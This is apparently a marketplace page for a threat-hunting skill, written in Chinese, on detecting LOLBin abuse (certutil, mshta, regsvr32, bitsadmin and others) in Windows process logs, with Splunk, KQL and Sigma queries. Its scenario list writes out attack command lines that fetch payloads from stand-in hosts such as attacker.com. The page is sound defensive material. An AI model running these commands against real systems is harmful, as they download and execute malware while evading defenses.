L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Productivité · SKILL.md

hunting-for-lolbins-execution-in-endpoint-logs

hunting-for-lolbins-execution-in-endpoint-logs

通过分析终端进程创建日志,识别合法 Windows 系统二进制文件(LOLBin)被用于恶意目的的可疑执行模式,狩猎攻击者的 LOLBin 滥用行为。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: hunting-for-lolbins-execution-in-endpoint-logs description: 通过分析终端进程创建日志,识别合法 Windows 系统二进制文件(LOLBin)被用于恶意目的的可疑执行模式,狩猎攻击者的 LOLBin 滥用行为。 domain: cybersecurity subdomain: threat-hunting tags: [threat-hunting, lolbins, living-off-the-land, endpoint-detection, process-monitoring, mitre-t1218, defense-evasion] version: "1.0" author: mahipal license: Apache-2.0

在终端日志中狩猎 LOLBin 执行

适用场景

  • 狩猎滥用内置 Windows 二进制文件的无文件攻击技术时
  • 威胁情报显示针对所在行业的 LOLBin 攻击活动后
  • 调查 certutil、mshta、rundll32 或 regsvr32 可疑使用告警时
  • 紫队演练测试防御规避技术的检测时
  • 评估 MITRE ATT&CK T1218 子技术的终端检测覆盖率时

前置条件

  • 启用完整命令行日志的 Sysmon 事件 ID 1(进程创建)
  • 启用命令行审计的 Windows 安全事件 ID 4688
  • 包含父子进程关系的 EDR 遥测数据
  • 用于查询和关联的 SIEM 平台(Splunk、Elastic、Microsoft Sentinel)
  • LOLBAS 项目参考(lolbas-project.github.io)了解已知滥用模式

工作流程

  1. 建立 LOLBin 监控清单:从 LOLBAS 项目整理高风险 LOLBin 列表,优先关注:certutil.exe、mshta.exe、rundll32.exe、regsvr32.exe、msbuild.exe、installutil.exe、cmstp.exe、wmic.exe、wscript.exe、cscript.exe、bitsadmin.exe 和 powershell.exe。
  2. 建立正常使用基线:通过对每个二进制文件 30 天内的命令行参数、父进程和用户上下文进行分析,建立环境中正常 LOLBin 使用的基线。
  3. 狩猎异常参数:搜索带有异常命令行参数的 LOLBin 执行——certutil 带 -urlcache -decode -encode,mshta 带 URL 参数,rundll32 从 temp/用户目录加载 DLL,regsvr32 带 /s /n /u /i:URL。
  4. 分析父子进程关系:识别派生 LOLBin 的异常父进程——例如 outlook.exe 派生 mshta.exe,或 winword.exe 派生 certutil.exe,表明存在武器化文档投递。
  5. 检查非标准路径执行:从非标准路径执行的 LOLBin(复制到 %TEMP%、用户目录)表明存在重命名二进制文件滥用。
  6. 关联网络活动:将 LOLBin 执行与出站网络连接(Sysmon 事件 ID 3)进行关联,识别下载器和 C2 回连。
  7. 评分和优先排序:综合可疑参数、异常父进程、非标准路径和网络活动指标,按异常严重性对发现进行排名。

核心概念

概念描述
T1218系统二进制文件代理执行
T1218.001编译 HTML 文件(mshta.exe)
T1218.003CMSTP
T1218.005Mshta
T1218.010Regsvr32(Squiblydoo)
T1218.011Rundll32
T1127.001MSBuild
T1197BITS 任务(bitsadmin.exe)
T1140解混淆/解码文件(certutil.exe)
T1059.001PowerShell
T1059.005Visual Basic(wscript/cscript)
LOLBAS系统内置二进制文件、脚本和库(Living Off the Land Binaries, Scripts and Libraries)项目

工具与系统

工具用途
Sysmon带命令行和哈希日志的进程创建
CrowdStrike Falcon带 LOLBin 检测分析的 EDR
Microsoft Defender for Endpoint内置 LOLBin 滥用检测
Splunk基于 SPL 的进程狩猎和异常检测
Elastic Security预置 LOLBin 检测规则
LOLBAS 项目LOLBin 滥用技术参考数据库
Sigma Rules社区 LOLBin 滥用检测规则

检测查询

Splunk——高风险 LOLBin 执行

index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exequot;)
| eval suspicious=case(
    match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",
    match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",
    match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",
    match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",
    match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",
    match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",
    match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",
    1=1, "normal"
)
| where suspicious!="normal"
| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious

KQL——Microsoft Sentinel LOLBin 狩猎

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
    "msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")
| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc

Sigma 规则——可疑 LOLBin 命令行

title: Suspicious LOLBin Execution with Malicious Arguments
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection_certutil:
        Image|endswith: '\certutil.exe'
        CommandLine|contains:
            - '-urlcache'
            - '-decode'
            - '-encode'
    selection_mshta:
        Image|endswith: '\mshta.exe'
        CommandLine|contains:
            - 'http://'
            - 'https://'
            - 'javascript:'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains|all:
            - '/s'
            - '/i:'
    condition: 1 of selection_*
level: high
tags:
    - attack.defense_evasion
    - attack.t1218

常见场景

  1. certutil 下载器:certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exe 用于下载恶意软件,绕过代理过滤器。
  2. mshta HTA 执行:mshta.exe http://attacker.com/malicious.hta 执行包含 VBScript 或 JScript 载荷的远程 HTA 文件。
  3. regsvr32 Squiblydoo:regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll 执行远程 SCT 文件,绕过应用程序白名单。
  4. rundll32 DLL 代理:rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPoint 通过合法二进制文件执行攻击者 DLL。
  5. MSBuild 内联任务:msbuild.exe C:\Temp\malicious.csproj 执行嵌入在项目文件中的 C# 代码,绕过应用程序控制。
  6. BITS 传输:bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exe 使用 BITS 服务隐蔽下载文件。
  7. WMIC XSL 执行:wmic process list /format:evil.xsl 从 XSL 样式表执行 JScript/VBScript。

输出格式

狩猎 ID:TH-LOLBIN-[日期]-[序号]
主机:[主机名]
用户:[账户上下文]
LOLBin:[二进制文件名]
完整路径:[执行路径]
命令行:[完整参数]
父进程:[父镜像和命令行]
检测类别:[download_cradle/proxy_exec/uac_bypass/applocker_bypass]
网络活动:[是/否——如适用,填写目标地址]
风险等级:[严重/高/中/低]
Skills enregistrées